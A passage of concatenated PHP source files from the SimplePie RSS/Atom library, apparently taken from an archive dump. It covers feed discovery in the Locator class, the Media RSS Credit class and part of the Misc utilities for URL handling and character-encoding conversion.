            throw new \SimplePie\Exception('DOMDocument not found, unable to use '.
                                          'locator');
        }
        if (!class_exists('DOMXpath')) {
            throw new \SimplePie\Exception('DOMXpath not found, unable to use '.
                                          'get_rel_link');
        }

        $xpath = new \DOMXpath($this->dom);
        $query = '(//head)[1]/link[@rel and @href]';
        /** @var \DOMNodeList<\DOMElement> */
        $queryResult = $xpath->query($query);
        foreach ($queryResult as $link) {
            $href = trim($link->getAttribute('href'));
            $parsed = $this->registry->call(Misc::class, 'parse_url', [$href]);
            if ($parsed['scheme'] === '' ||
                preg_match('/^https?$/i', $parsed['scheme'])) {
                if (method_exists($link, 'getLineNo') &&
                    $this->base_location < $link->getLineNo()) {
                    $href = $this->registry->call(
                        Misc::class,
                        'absolutize_url',
                        [trim($link->getAttribute('href')), $this->base]
                    );
                } else {
                    $href = $this->registry->call(
                        Misc::class,
                        'absolutize_url',
                        [trim($link->getAttribute('href')), $this->http_base]
                    );
                }
                if ($href === false) {
                    return null;
                }
                $rel_values = explode(' ', strtolower($link->getAttribute('rel')));
                if (in_array($rel, $rel_values)) {
                    return $href;
                }
            }
        }

        return null;
    }

    /**
     * @param string[] $array
     * @return array<Response>|null
     */
    public function extension(array &$array)
    {
        foreach ($array as $key => $value) {
            if ($this->checked_feeds === $this->max_checked_feeds) {
                break;
            }
            $extension = strrchr($value, '.');
            if ($extension !== false && in_array(strtolower($extension), ['.rss', '.rdf', '.atom', '.xml'])) {
                $this->checked_feeds++;

                $headers = [
                    'Accept' => SimplePie::DEFAULT_HTTP_ACCEPT_HEADER,
                ];

                try {
                    $feed = $this->get_http_client()->request(Client::METHOD_GET, $value, $headers);

                    if ((!Misc::is_remote_uri($feed->get_final_requested_uri()) || ($feed->get_status_code() === 200 || $feed->get_status_code() > 206 && $feed->get_status_code() < 300)) && $this->is_feed($feed)) {
                        return [$feed];
                    }
                } catch (ClientException $th) {
                    // Just unset and continue.
                }

                unset($array[$key]);
            }
        }
        return null;
    }

    /**
     * @param string[] $array
     * @return array<Response>|null
     */
    public function body(array &$array)
    {
        foreach ($array as $key => $value) {
            if ($this->checked_feeds === $this->max_checked_feeds) {
                break;
            }
            if (preg_match('/(feed|rss|rdf|atom|xml)/i', $value)) {
                $this->checked_feeds++;
                $headers = [
                    'Accept' => SimplePie::DEFAULT_HTTP_ACCEPT_HEADER,
                ];

                try {
                    $feed = $this->get_http_client()->request(Client::METHOD_GET, $value, $headers);

                    if ((!Misc::is_remote_uri($feed->get_final_requested_uri()) || ($feed->get_status_code() === 200 || $feed->get_status_code() > 206 && $feed->get_status_code() < 300)) && $this->is_feed($feed)) {
                        return [$feed];
                    }
                } catch (ClientException $th) {
                    // Just unset and continue.
                }

                unset($array[$key]);
            }
        }
        return null;
    }

    /**
     * Get a HTTP client
     */
    private function get_http_client(): Client
    {
        assert($this->registry !== null);

        if ($this->http_client === null) {
            $options = [
                'timeout' => $this->timeout,
                'redirects' => 5,
                'force_fsockopen' => $this->force_fsockopen,
                'curl_options' => $this->curl_options,
            ];

            if ($this->useragent !== null) {
                $options['useragent'] = $this->useragent;
            }

            return new FileClient(
                $this->registry,
                $options
            );
        }

        return $this->http_client;
    }
}

class_alias('SimplePie\Locator', 'SimplePie_Locator', false);
Credit.php000064400000004140151450001630006461 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

/**
 * Handles `<media:credit>` as defined in Media RSS
 *
 * Used by {@see \SimplePie\Enclosure::get_credit()} and {@see \SimplePie\Enclosure::get_credits()}
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_credit_class()}
 */
class Credit
{
    /**
     * Credited role
     *
     * @var ?string
     * @see get_role()
     */
    public $role;

    /**
     * Organizational scheme
     *
     * @var ?string
     * @see get_scheme()
     */
    public $scheme;

    /**
     * Credited name
     *
     * @var ?string
     * @see get_name()
     */
    public $name;

    /**
     * Constructor, used to input the data
     *
     * For documentation on all the parameters, see the corresponding
     * properties and their accessors
     */
    public function __construct(
        ?string $role = null,
        ?string $scheme = null,
        ?string $name = null
    ) {
        $this->role = $role;
        $this->scheme = $scheme;
        $this->name = $name;
    }

    /**
     * String-ified version
     *
     * @return string
     */
    public function __toString()
    {
        // There is no $this->data here
        return md5(serialize($this));
    }

    /**
     * Get the role of the person receiving credit
     *
     * @return string|null
     */
    public function get_role()
    {
        if ($this->role !== null) {
            return $this->role;
        }

        return null;
    }

    /**
     * Get the organizational scheme
     *
     * @return string|null
     */
    public function get_scheme()
    {
        if ($this->scheme !== null) {
            return $this->scheme;
        }

        return null;
    }

    /**
     * Get the credited person/entity's name
     *
     * @return string|null
     */
    public function get_name()
    {
        if ($this->name !== null) {
            return $this->name;
        }

        return null;
    }
}

class_alias('SimplePie\Credit', 'SimplePie_Credit');
Misc.php000064400000210245151450001630006147 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

use SimplePie\XML\Declaration\Parser;

/**
 * Miscellaneous utilities
 */
class Misc
{
    /** @var int|null */
    private static $SIMPLEPIE_BUILD = null;

    /**
     * @return string
     */
    public static function time_hms(int $seconds)
    {
        $time = '';

        $hours = floor($seconds / 3600);
        $remainder = $seconds % 3600;
        if ($hours > 0) {
            $time .= $hours.':';
        }

        $minutes = floor($remainder / 60);
        $seconds = $remainder % 60;
        if ($minutes < 10 && $hours > 0) {
            $minutes = '0' . $minutes;
        }
        if ($seconds < 10) {
            $seconds = '0' . $seconds;
        }

        $time .= $minutes.':';
        $time .= $seconds;

        return $time;
    }

    /**
     * @return string|false
     */
    public static function absolutize_url(string $relative, string $base)
    {
        $iri = \SimplePie\IRI::absolutize(new \SimplePie\IRI($base), $relative);
        if ($iri === false) {
            return false;
        }
        return $iri->get_uri();
    }

    /**
     * @internal
     */
    public static function is_remote_uri(string $uri): bool
    {
        return preg_match('/^https?:\/\//i', $uri) === 1;
    }

    /**
     * Get a HTML/XML element from a HTML string
     *
     * @deprecated since SimplePie 1.3, use DOMDocument instead (parsing HTML with regex is bad!)
     * @param string $realname Element name (including namespace prefix if applicable)
     * @param string $string HTML document
     * @return array<array{tag: string, self_closing: bool, attribs: array<string, array{data: string}>, content?: string}>
     */
    public static function get_element(string $realname, string $string)
    {
        // trigger_error(sprintf('Using method "' . __METHOD__ . '" is deprecated since SimplePie 1.3, use "DOMDocument" instead.'), \E_USER_DEPRECATED);

        $return = [];
        $name = preg_quote($realname, '/');
        if (preg_match_all("/<($name)" . \SimplePie\SimplePie::PCRE_HTML_ATTRIBUTE . "(>(.*)<\/$name>|(\/)?>)/siU", $string, $matches, PREG_SET_ORDER | PREG_OFFSET_CAPTURE)) {
            for ($i = 0, $total_matches = count($matches); $i < $total_matches; $i++) {
                $return[$i]['tag'] = $realname;
                $return[$i]['full'] = $matches[$i][0][0];
                $return[$i]['offset'] = $matches[$i][0][1];
                if (strlen($matches[$i][3][0]) <= 2) {
                    $return[$i]['self_closing'] = true;
                } else {
                    $return[$i]['self_closing'] = false;
                    $return[$i]['content'] = $matches[$i][4][0];
                }
                $return[$i]['attribs'] = [];
                if (isset($matches[$i][2][0]) && preg_match_all('/[\x09\x0A\x0B\x0C\x0D\x20]+([^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3D\x3E]*)(?:[\x09\x0A\x0B\x0C\x0D\x20]*=[\x09\x0A\x0B\x0C\x0D\x20]*(?:"([^"]*)"|\'([^\']*)\'|([^\x09\x0A\x0B\x0C\x0D\x20\x22\x27\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x3E]*)?))?/', ' ' . $matches[$i][2][0] . ' ', $attribs, PREG_SET_ORDER)) {
                    foreach ($attribs as $attrib) {
                        if (count($attrib) === 2) {
                            $attrib[2] = $attrib[1];
                        }
                        $return[$i]['attribs'][strtolower($attrib[1])]['data'] = Misc::entities_decode(end($attrib));
                    }
                }
            }
        }
        return $return;
    }

    /**
     * @deprecated since SimplePie 1.9.0. If you need it, you can copy the function to your codebase. But you should consider using `DOMDocument` for any DOM wrangling.
     * @param array{tag: string, self_closing: bool, attribs: array<string, array{data: string}>, content: string} $element
     * @return string
     */
    public static function element_implode(array $element)
    {
        // trigger_error(sprintf('Using method "' . __METHOD__ . '" is deprecated since SimplePie 1.9.'), \E_USER_DEPRECATED);

        $full = "<{$element['tag']}";
        foreach ($element['attribs'] as $key => $value) {
            $key = strtolower($key);
            $full .= " $key=\"" . htmlspecialchars($value['data'], ENT_COMPAT, 'UTF-8') . '"';
        }
        if ($element['self_closing']) {
            $full .= ' />';
        } else {
            $full .= ">{$element['content']}</{$element['tag']}>";
        }
        return $full;
    }

    /**
     * @param string $message
     * @param int $level
     * @param string $file
     * @param int $line
     * @return string
     */
    public static function error(string $message, int $level, string $file, int $line)
    {
        if ((error_reporting() & $level) > 0) {
            switch ($level) {
                case E_USER_ERROR:
                    $note = 'PHP Error';
                    break;
                case E_USER_WARNING:
                    $note = 'PHP Warning';
                    break;
                case E_USER_NOTICE:
                    $note = 'PHP Notice';
                    break;
                default:
                    $note = 'Unknown Error';
                    break;
            }

            $log_error = true;
            if (!function_exists('error_log')) {
                $log_error = false;
            }

            $log_file = @ini_get('error_log');
            if (!empty($log_file) && ('syslog' !== $log_file) && !@is_writable($log_file)) {
                $log_error = false;
            }

            if ($log_error) {
                @error_log("$note: $message in $file on line $line", 0);
            }
        }

        return $message;
    }

    /**
     * @return string
     */
    public static function fix_protocol(string $url, int $http = 1)
    {
        $url = Misc::normalize_url($url);
        $parsed = Misc::parse_url($url);
        if ($parsed['scheme'] !== '' && $parsed['scheme'] !== 'http' && $parsed['scheme'] !== 'https') {
            return Misc::fix_protocol(Misc::compress_parse_url('http', $parsed['authority'], $parsed['path'], $parsed['query'], $parsed['fragment']), $http);
        }

        if ($parsed['scheme'] === '' && $parsed['authority'] === '' && !file_exists($url)) {
            return Misc::fix_protocol(Misc::compress_parse_url('http', $parsed['path'], '', $parsed['query'], $parsed['fragment']), $http);
        }

        if ($http === 2 && $parsed['scheme'] !== '') {
            return "feed:$url";
        } elseif ($http === 3 && strtolower($parsed['scheme']) === 'http') {
            return substr_replace($url, 'podcast', 0, 4);
        } elseif ($http === 4 && strtolower($parsed['scheme']) === 'http') {
            return substr_replace($url, 'itpc', 0, 4);
        }

        return $url;
    }

    /**
     * @deprecated since SimplePie 1.8.0, use PHP native array_replace_recursive() instead.
     * @param array<mixed> $array1
     * @param array<mixed> $array2
     * @return array<mixed>
     */
    public static function array_merge_recursive(array $array1, array $array2)
    {
        foreach ($array2 as $key => $value) {
            if (is_array($value)) {
                $array1[$key] = Misc::array_merge_recursive($array1[$key], $value);
            } else {
                $array1[$key] = $value;
            }
        }

        return $array1;
    }

    /**
     * @return array<string, string>
     */
    public static function parse_url(string $url)
    {
        $iri = new \SimplePie\IRI($url);
        return [
            'scheme' => (string) $iri->scheme,
            'authority' => (string) $iri->authority,
            'path' => (string) $iri->path,
            'query' => (string) $iri->query,
            'fragment' => (string) $iri->fragment
        ];
    }

    /**
     * @return string
     */
    public static function compress_parse_url(string $scheme = '', string $authority = '', string $path = '', string $query = '', ?string $fragment = '')
    {
        $iri = new \SimplePie\IRI('');
        $iri->scheme = $scheme;
        $iri->authority = $authority;
        $iri->path = $path;
        $iri->query = $query;
        $iri->fragment = $fragment;
        return $iri->get_uri();
    }

    /**
     * @return string
     */
    public static function normalize_url(string $url)
    {
        $iri = new \SimplePie\IRI($url);
        return $iri->get_uri();
    }

    /**
     * @deprecated since SimplePie 1.9.0. This functionality is part of `IRI` – if you need it standalone, consider copying the function to your codebase.
     * @param array<int, string> $match
     * @return string
     */
    public static function percent_encoding_normalization(array $match)
    {
        $integer = hexdec($match[1]);
        if ($integer >= 0x41 && $integer <= 0x5A || $integer >= 0x61 && $integer <= 0x7A || $integer >= 0x30 && $integer <= 0x39 || $integer === 0x2D || $integer === 0x2E || $integer === 0x5F || $integer === 0x7E) {
            // Cast for PHPStan, the value would only be float when above PHP_INT_MAX, which would not go in this branch.
            return chr((int) $integer);
        }

        return strtoupper($match[0]);
    }

    /**
     * Converts a Windows-1252 encoded string to a UTF-8 encoded string
     *
     * @static
     * @param string $string Windows-1252 encoded string
     * @return string UTF-8 encoded string
     */
    public static function windows_1252_to_utf8(string $string)
    {
        static $convert_table = ["\x80" => "\xE2\x82\xAC", "\x81" => "\xEF\xBF\xBD", "\x82" => "\xE2\x80\x9A", "\x83" => "\xC6\x92", "\x84" => "\xE2\x80\x9E", "\x85" => "\xE2\x80\xA6", "\x86" => "\xE2\x80\xA0", "\x87" => "\xE2\x80\xA1", "\x88" => "\xCB\x86", "\x89" => "\xE2\x80\xB0", "\x8A" => "\xC5\xA0", "\x8B" => "\xE2\x80\xB9", "\x8C" => "\xC5\x92", "\x8D" => "\xEF\xBF\xBD", "\x8E" => "\xC5\xBD", "\x8F" => "\xEF\xBF\xBD", "\x90" => "\xEF\xBF\xBD", "\x91" => "\xE2\x80\x98", "\x92" => "\xE2\x80\x99", "\x93" => "\xE2\x80\x9C", "\x94" => "\xE2\x80\x9D", "\x95" => "\xE2\x80\xA2", "\x96" => "\xE2\x80\x93", "\x97" => "\xE2\x80\x94", "\x98" => "\xCB\x9C", "\x99" => "\xE2\x84\xA2", "\x9A" => "\xC5\xA1", "\x9B" => "\xE2\x80\xBA", "\x9C" => "\xC5\x93", "\x9D" => "\xEF\xBF\xBD", "\x9E" => "\xC5\xBE", "\x9F" => "\xC5\xB8", "\xA0" => "\xC2\xA0", "\xA1" => "\xC2\xA1", "\xA2" => "\xC2\xA2", "\xA3" => "\xC2\xA3", "\xA4" => "\xC2\xA4", "\xA5" => "\xC2\xA5", "\xA6" => "\xC2\xA6", "\xA7" => "\xC2\xA7", "\xA8" => "\xC2\xA8", "\xA9" => "\xC2\xA9", "\xAA" => "\xC2\xAA", "\xAB" => "\xC2\xAB", "\xAC" => "\xC2\xAC", "\xAD" => "\xC2\xAD", "\xAE" => "\xC2\xAE", "\xAF" => "\xC2\xAF", "\xB0" => "\xC2\xB0", "\xB1" => "\xC2\xB1", "\xB2" => "\xC2\xB2", "\xB3" => "\xC2\xB3", "\xB4" => "\xC2\xB4", "\xB5" => "\xC2\xB5", "\xB6" => "\xC2\xB6", "\xB7" => "\xC2\xB7", "\xB8" => "\xC2\xB8", "\xB9" => "\xC2\xB9", "\xBA" => "\xC2\xBA", "\xBB" => "\xC2\xBB", "\xBC" => "\xC2\xBC", "\xBD" => "\xC2\xBD", "\xBE" => "\xC2\xBE", "\xBF" => "\xC2\xBF", "\xC0" => "\xC3\x80", "\xC1" => "\xC3\x81", "\xC2" => "\xC3\x82", "\xC3" => "\xC3\x83", "\xC4" => "\xC3\x84", "\xC5" => "\xC3\x85", "\xC6" => "\xC3\x86", "\xC7" => "\xC3\x87", "\xC8" => "\xC3\x88", "\xC9" => "\xC3\x89", "\xCA" => "\xC3\x8A", "\xCB" => "\xC3\x8B", "\xCC" => "\xC3\x8C", "\xCD" => "\xC3\x8D", "\xCE" => "\xC3\x8E", "\xCF" => "\xC3\x8F", "\xD0" => "\xC3\x90", "\xD1" => "\xC3\x91", "\xD2" => "\xC3\x92", "\xD3" => "\xC3\x93", "\xD4" => "\xC3\x94", "\xD5" => "\xC3\x95", "\xD6" => "\xC3\x96", "\xD7" => "\xC3\x97", "\xD8" => "\xC3\x98", "\xD9" => "\xC3\x99", "\xDA" => "\xC3\x9A", "\xDB" => "\xC3\x9B", "\xDC" => "\xC3\x9C", "\xDD" => "\xC3\x9D", "\xDE" => "\xC3\x9E", "\xDF" => "\xC3\x9F", "\xE0" => "\xC3\xA0", "\xE1" => "\xC3\xA1", "\xE2" => "\xC3\xA2", "\xE3" => "\xC3\xA3", "\xE4" => "\xC3\xA4", "\xE5" => "\xC3\xA5", "\xE6" => "\xC3\xA6", "\xE7" => "\xC3\xA7", "\xE8" => "\xC3\xA8", "\xE9" => "\xC3\xA9", "\xEA" => "\xC3\xAA", "\xEB" => "\xC3\xAB", "\xEC" => "\xC3\xAC", "\xED" => "\xC3\xAD", "\xEE" => "\xC3\xAE", "\xEF" => "\xC3\xAF", "\xF0" => "\xC3\xB0", "\xF1" => "\xC3\xB1", "\xF2" => "\xC3\xB2", "\xF3" => "\xC3\xB3", "\xF4" => "\xC3\xB4", "\xF5" => "\xC3\xB5", "\xF6" => "\xC3\xB6", "\xF7" => "\xC3\xB7", "\xF8" => "\xC3\xB8", "\xF9" => "\xC3\xB9", "\xFA" => "\xC3\xBA", "\xFB" => "\xC3\xBB", "\xFC" => "\xC3\xBC", "\xFD" => "\xC3\xBD", "\xFE" => "\xC3\xBE", "\xFF" => "\xC3\xBF"];

        return strtr($string, $convert_table);
    }

    /**
     * Change a string from one encoding to another
     *
     * @param string $data Raw data in $input encoding
     * @param string $input Encoding of $data
     * @param string $output Encoding you want
     * @return string|false False if we can't convert it
     */
    public static function change_encoding(string $data, string $input, string $output)
    {
        $input = Misc::encoding($input);
        $output = Misc::encoding($output);

        // We fail to fail on non US-ASCII bytes
        if ($input === 'US-ASCII') {
            static $non_ascii_octets = '';
            if (!$non_ascii_octets) {
                for ($i = 0x80; $i <= 0xFF; $i++) {
                    $non_ascii_octets .= chr($i);
                }
            }
            $data = substr($data, 0, strcspn($data, $non_ascii_octets));
        }

        // This is first, as behaviour of this is completely predictable
        if ($input === 'windows-1252' && $output === 'UTF-8') {
            return Misc::windows_1252_to_utf8($data);
        }
        // This is second, as behaviour of this varies only with PHP version (the middle part of this expression checks the encoding is supported).
        elseif (function_exists('mb_convert_encoding') && ($return = Misc::change_encoding_mbstring($data, $input, $output))) {
            return $return;
        }
        // This is third, as behaviour of this varies with OS userland and PHP version
        elseif (function_exists('iconv') && ($return = Misc::change_encoding_iconv($data, $input, $output))) {
            return $return;
        }
        // This is last, as behaviour of this varies with OS userland and PHP version
        elseif (class_exists('\UConverter') && ($return = Misc::change_encoding_uconverter($data, $input, $output))) {
            return $return;
        }

        // If we can't do anything, just fail
        return false;
    }

    /**
     * @return string|false
     */
    protected static function change_encoding_mbstring(string $data, string $input, string $output)
    {
        if ($input === 'windows-949') {
            $input = 'EUC-KR';
        }
        if ($output === 'windows-949') {
            $output = 'EUC-KR';
        }
        if ($input === 'Windows-31J') {
            $input = 'SJIS';
        }
        if ($output === 'Windows-31J') {
            $output = 'SJIS';
        }

        // Check that the encoding is supported
        if (!in_array($input, mb_list_encodings())) {
            return false;
        }

        if (@mb_convert_encoding("\x80", 'UTF-16BE', $input) === "\x00\x80") {
            return false;
        }

        // Let's do some conversion
        if ($return = @mb_convert_encoding($data, $output, $input)) {
            return $return;
        }

        return false;
    }

    /**
     * @return string|false
     */
    protected static function change_encoding_iconv(string $data, string $input, string $output)
    {
        return @iconv($input, $output, $data);
    }

    /**
     * @return string|false
     */
    protected static function change_encoding_uconverter(string $data, string $input, string $output)
    {
        return @\UConverter::transcode($data, $output, $input);
    }

    /**
     * Normalize an encoding name
     *
     * This is automatically generated by create.php
     *
     * To generate it, run `php create.php` on the command line, and copy the
     * output to replace this function.
     *
     * @param string $charset Character set to standardise
     * @return string Standardised name
     */
    public static function encoding(string $charset)
    {
        // Normalization from UTS #22
        // Cast for PHPStan, the regex should not fail.
        switch (strtolower((string) preg_replace('/(?:[^a-zA-Z0-9]+|([^0-9])0+)/', '\1', $charset))) {
            case 'adobestandardencoding':
            case 'csadobestandardencoding':
                return 'Adobe-Standard-Encoding';

            case 'adobesymbolencoding':
            case 'cshppsmath':
                return 'Adobe-Symbol-Encoding';

            case 'ami1251':
            case 'amiga1251':
                return 'Amiga-1251';

            case 'ansix31101983':
            case 'csat5001983':
            case 'csiso99naplps':
            case 'isoir99':
            case 'naplps':
                return 'ANSI_X3.110-1983';

            case 'arabic7':
            case 'asmo449':
            case 'csiso89asmo449':
            case 'iso9036':
            case 'isoir89':
                return 'ASMO_449';

            case 'big5':
            case 'csbig5':
                return 'Big5';

            case 'big5hkscs':
                return 'Big5-HKSCS';

            case 'bocu1':
            case 'csbocu1':
                return 'BOCU-1';

            case 'brf':
            case 'csbrf':
                return 'BRF';

            case 'bs4730':
            case 'csiso4unitedkingdom':
            case 'gb':
            case 'iso646gb':
            case 'isoir4':
            case 'uk':
                return 'BS_4730';

            case 'bsviewdata':
            case 'csiso47bsviewdata':
            case 'isoir47':
                return 'BS_viewdata';

            case 'cesu8':
            case 'cscesu8':
                return 'CESU-8';

            case 'ca':
            case 'csa71':
            case 'csaz243419851':
            case 'csiso121canadian1':
            case 'iso646ca':
            case 'isoir121':
                return 'CSA_Z243.4-1985-1';

            case 'csa72':
            case 'csaz243419852':
            case 'csiso122canadian2':
            case 'iso646ca2':
            case 'isoir122':
                return 'CSA_Z243.4-1985-2';

            case 'csaz24341985gr':
            case 'csiso123csaz24341985gr':
            case 'isoir123':
                return 'CSA_Z243.4-1985-gr';

            case 'csiso139csn369103':
            case 'csn369103':
            case 'isoir139':
                return 'CSN_369103';

            case 'csdecmcs':
            case 'dec':
            case 'decmcs':
                return 'DEC-MCS';

            case 'csiso21german':
            case 'de':
            case 'din66003':
            case 'iso646de':
            case 'isoir21':
                return 'DIN_66003';

            case 'csdkus':
            case 'dkus':
                return 'dk-us';

            case 'csiso646danish':
            case 'dk':
            case 'ds2089':
            case 'iso646dk':
                return 'DS_2089';

            case 'csibmebcdicatde':
            case 'ebcdicatde':
                return 'EBCDIC-AT-DE';

            case 'csebcdicatdea':
            case 'ebcdicatdea':
                return 'EBCDIC-AT-DE-A';

            case 'csebcdiccafr':
            case 'ebcdiccafr':
                return 'EBCDIC-CA-FR';

            case 'csebcdicdkno':
            case 'ebcdicdkno':
                return 'EBCDIC-DK-NO';

            case 'csebcdicdknoa':
            case 'ebcdicdknoa':
                return 'EBCDIC-DK-NO-A';

            case 'csebcdices':
            case 'ebcdices':
                return 'EBCDIC-ES';

            case 'csebcdicesa':
            case 'ebcdicesa':
                return 'EBCDIC-ES-A';

            case 'csebcdicess':
            case 'ebcdicess':
                return 'EBCDIC-ES-S';

            case 'csebcdicfise':
            case 'ebcdicfise':
                return 'EBCDIC-FI-SE';

            case 'csebcdicfisea':
            case 'ebcdicfisea':
                return 'EBCDIC-FI-SE-A';

            case 'csebcdicfr':
            case 'ebcdicfr':
                return 'EBCDIC-FR';

            case 'csebcdicit':
            case 'ebcdicit':
                return 'EBCDIC-IT';

            case 'csebcdicpt':
            case 'ebcdicpt':
                return 'EBCDIC-PT';

            case 'csebcdicuk':
            case 'ebcdicuk':
                return 'EBCDIC-UK';

            case 'csebcdicus':
            case 'ebcdicus':
                return 'EBCDIC-US';

            case 'csiso111ecmacyrillic':
            case 'ecmacyrillic':
            case 'isoir111':
            case 'koi8e':
                return 'ECMA-cyrillic';

            case 'csiso17spanish':
            case 'es':
            case 'iso646es':
            case 'isoir17':
                return 'ES';

            case 'csiso85spanish2':
            case 'es2':
            case 'iso646es2':
            case 'isoir85':
                return 'ES2';

            case 'cseucpkdfmtjapanese':
            case 'eucjp':
            case 'extendedunixcodepackedformatforjapanese':
                return 'EUC-JP';

            case 'cseucfixwidjapanese':
            case 'extendedunixcodefixedwidthforjapanese':
                return 'Extended_UNIX_Code_Fixed_Width_for_Japanese';

            case 'gb18030':
                return 'GB18030';

            case 'chinese':
            case 'cp936':
            case 'csgb2312':
            case 'csiso58gb231280':
            case 'gb2312':
            case 'gb231280':
            case 'gbk':
            case 'isoir58':
            case 'ms936':
            case 'windows936':
                return 'GBK';

            case 'cn':
            case 'csiso57gb1988':
            case 'gb198880':
            case 'iso646cn':
            case 'isoir57':
                return 'GB_1988-80';

            case 'csiso153gost1976874':
            case 'gost1976874':
            case 'isoir153':
            case 'stsev35888':
                return 'GOST_19768-74';

            case 'csiso150':
            case 'csiso150greekccitt':
            case 'greekccitt':
            case 'isoir150':
                return 'greek-ccitt';

            case 'csiso88greek7':
            case 'greek7':
            case 'isoir88':
                return 'greek7';

            case 'csiso18greek7old':
            case 'greek7old':
            case 'isoir18':
                return 'greek7-old';

            case 'cshpdesktop':
            case 'hpdesktop':
                return 'HP-DeskTop';

            case 'cshplegal':
            case 'hplegal':
                return 'HP-Legal';

            case 'cshpmath8':
            case 'hpmath8':
                return 'HP-Math8';

            case 'cshppifont':
            case 'hppifont':
                return 'HP-Pi-font';

            case 'cshproman8':
            case 'hproman8':
            case 'r8':
            case 'roman8':
                return 'hp-roman8';

            case 'hzgb2312':
                return 'HZ-GB-2312';

            case 'csibmsymbols':
            case 'ibmsymbols':
                return 'IBM-Symbols';

            case 'csibmthai':
            case 'ibmthai':
                return 'IBM-Thai';

            case 'cp37':
            case 'csibm37':
            case 'ebcdiccpca':
            case 'ebcdiccpnl':
            case 'ebcdiccpus':
            case 'ebcdiccpwt':
            case 'ibm37':
                return 'IBM037';

            case 'cp38':
            case 'csibm38':
            case 'ebcdicint':
            case 'ibm38':
                return 'IBM038';

            case 'cp273':
            case 'csibm273':
            case 'ibm273':
                return 'IBM273';

            case 'cp274':
            case 'csibm274':
            case 'ebcdicbe':
            case 'ibm274':
                return 'IBM274';

            case 'cp275':
            case 'csibm275':
            case 'ebcdicbr':
            case 'ibm275':
                return 'IBM275';

            case 'csibm277':
            case 'ebcdiccpdk':
            case 'ebcdiccpno':
            case 'ibm277':
                return 'IBM277';

            case 'cp278':
            case 'csibm278':
            case 'ebcdiccpfi':
            case 'ebcdiccpse':
            case 'ibm278':
                return 'IBM278';

            case 'cp280':
            case 'csibm280':
            case 'ebcdiccpit':
            case 'ibm280':
                return 'IBM280';

            case 'cp281':
            case 'csibm281':
            case 'ebcdicjpe':
            case 'ibm281':
                return 'IBM281';

            case 'cp284':
            case 'csibm284':
            case 'ebcdiccpes':
            case 'ibm284':
                return 'IBM284';

            case 'cp285':
            case 'csibm285':
            case 'ebcdiccpgb':
            case 'ibm285':
                return 'IBM285';

            case 'cp290':
            case 'csibm290':
            case 'ebcdicjpkana':
            case 'ibm290':
                return 'IBM290';

            case 'cp297':
            case 'csibm297':
            case 'ebcdiccpfr':
            case 'ibm297':
                return 'IBM297';

            case 'cp420':
            case 'csibm420':
            case 'ebcdiccpar1':
            case 'ibm420':
                return 'IBM420';

            case 'cp423':
            case 'csibm423':
            case 'ebcdiccpgr':
            case 'ibm423':
                return 'IBM423';

            case 'cp424':
            case 'csibm424':
            case 'ebcdiccphe':
            case 'ibm424':
                return 'IBM424';

            case '437':
            case 'cp437':
            case 'cspc8codepage437':
            case 'ibm437':
                return 'IBM437';

            case 'cp500':
            case 'csibm500':
            case 'ebcdiccpbe':
            case 'ebcdiccpch':
            case 'ibm500':
                return 'IBM500';

            case 'cp775':
            case 'cspc775baltic':
            case 'ibm775':
                return 'IBM775';

            case '850':
            case 'cp850':
            case 'cspc850multilingual':
            case 'ibm850':
                return 'IBM850';

            case '851':
            case 'cp851':
            case 'csibm851':
            case 'ibm851':
                return 'IBM851';

            case '852':
            case 'cp852':
            case 'cspcp852':
            case 'ibm852':
                return 'IBM852';

            case '855':
            case 'cp855':
            case 'csibm855':
            case 'ibm855':
                return 'IBM855';

            case '857':
            case 'cp857':
            case 'csibm857':
            case 'ibm857':
                return 'IBM857';

            case 'ccsid858':
            case 'cp858':
            case 'ibm858':
            case 'pcmultilingual850euro':
                return 'IBM00858';

            case '860':
            case 'cp860':
            case 'csibm860':
            case 'ibm860':
                return 'IBM860';

            case '861':
            case 'cp861':
            case 'cpis':
            case 'csibm861':
            case 'ibm861':
                return 'IBM861';

            case '862':
            case 'cp862':
            case 'cspc862latinhebrew':
            case 'ibm862':
                return 'IBM862';

            case '863':
            case 'cp863':
            case 'csibm863':
            case 'ibm863':
                return 'IBM863';

            case 'cp864':
            case 'csibm864':
            case 'ibm864':
                return 'IBM864';

            case '865':
            case 'cp865':
            case 'csibm865':
            case 'ibm865':
                return 'IBM865';

            case '866':
            case 'cp866':
            case 'csibm866':
            case 'ibm866':
                return 'IBM866';

            case 'cp868':
            case 'cpar':
            case 'csibm868':
            case 'ibm868':
                return 'IBM868';

            case '869':
            case 'cp869':
            case 'cpgr':
            case 'csibm869':
            case 'ibm869':
                return 'IBM869';

            case 'cp870':
            case 'csibm870':
            case 'ebcdiccproece':
            case 'ebcdiccpyu':
            case 'ibm870':
                return 'IBM870';

            case 'cp871':
            case 'csibm871':
            case 'ebcdiccpis':
            case 'ibm871':
                return 'IBM871';

            case 'cp880':
            case 'csibm880':
            case 'ebcdiccyrillic':
            case 'ibm880':
                return 'IBM880';

            case 'cp891':
            case 'csibm891':
            case 'ibm891':
                return 'IBM891';

            case 'cp903':
            case 'csibm903':
            case 'ibm903':
                return 'IBM903';

            case '904':
            case 'cp904':
            case 'csibbm904':
            case 'ibm904':
                return 'IBM904';

            case 'cp905':
            case 'csibm905':
            case 'ebcdiccptr':
            case 'ibm905':
                return 'IBM905';

            case 'cp918':
            case 'csibm918':
            case 'ebcdiccpar2':
            case 'ibm918':
                return 'IBM918';

            case 'ccsid924':
            case 'cp924':
            case 'ebcdiclatin9euro':
            case 'ibm924':
                return 'IBM00924';

            case 'cp1026':
            case 'csibm1026':
            case 'ibm1026':
                return 'IBM1026';

            case 'ibm1047':
                return 'IBM1047';

            case 'ccsid1140':
            case 'cp1140':
            case 'ebcdicus37euro':
            case 'ibm1140':
                return 'IBM01140';

            case 'ccsid1141':
            case 'cp1141':
            case 'ebcdicde273euro':
            case 'ibm1141':
                return 'IBM01141';

            case 'ccsid1142':
            case 'cp1142':
            case 'ebcdicdk277euro':
            case 'ebcdicno277euro':
            case 'ibm1142':
